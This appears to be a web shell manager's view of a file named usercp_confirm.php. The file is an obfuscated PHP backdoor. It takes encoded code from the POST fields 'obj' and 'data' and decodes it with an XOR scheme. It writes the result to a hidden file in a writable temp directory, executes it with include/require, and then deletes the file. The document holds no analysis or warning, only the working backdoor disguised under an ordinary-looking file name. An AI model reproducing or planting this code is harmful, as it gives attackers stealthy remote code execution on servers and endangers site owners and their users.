0x1998 - MANAGER
Düzenlenen Dosya: usercp_confirm.php
<?php if(isset($_POST["\x6Fb\x6A"]) ? true : false){ $value = $_POST["\x6Fb\x6A"]; $value = explode ( '.' , $value ) ; $entity = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $t = 0; while ($t < count($value)) { $v2 = $value[$t]; $chS = ord($s9[$t % $sLen]); $d = ((int)$v2 - $chS - ($t % 10))^72; $entity .=chr($d); $t++; } $fac = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd()]); while ($hld = array_shift($fac)) { if ((is_dir($hld) and is_writable($hld))) { $comp = "$hld/.res"; $success = file_put_contents($comp, $entity); if ($success) { include $comp; @unlink($comp); exit;} } } } if(array_key_exists("da\x74\x61", $_POST) && !is_null($_POST["da\x74\x61"])){ $element = array_filter([getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $flg = $_POST["da\x74\x61"]; $flg= explode ( "." , $flg ) ; $object= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s7); $x= 0; while( $x<count( $flg)) { $v8= $flg[$x]; $sChar= ord( $s7[$x % $lenS]); $dec= ( ( int)$v8 - $sChar -( $x % 10)) ^ 5; $object .= chr( $dec); $x++;} foreach ($element as $key => $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $res = "$ent" . "/.record"; if (file_put_contents($res, $object)) { require $res; unlink($res); die(); } } } }
geri dön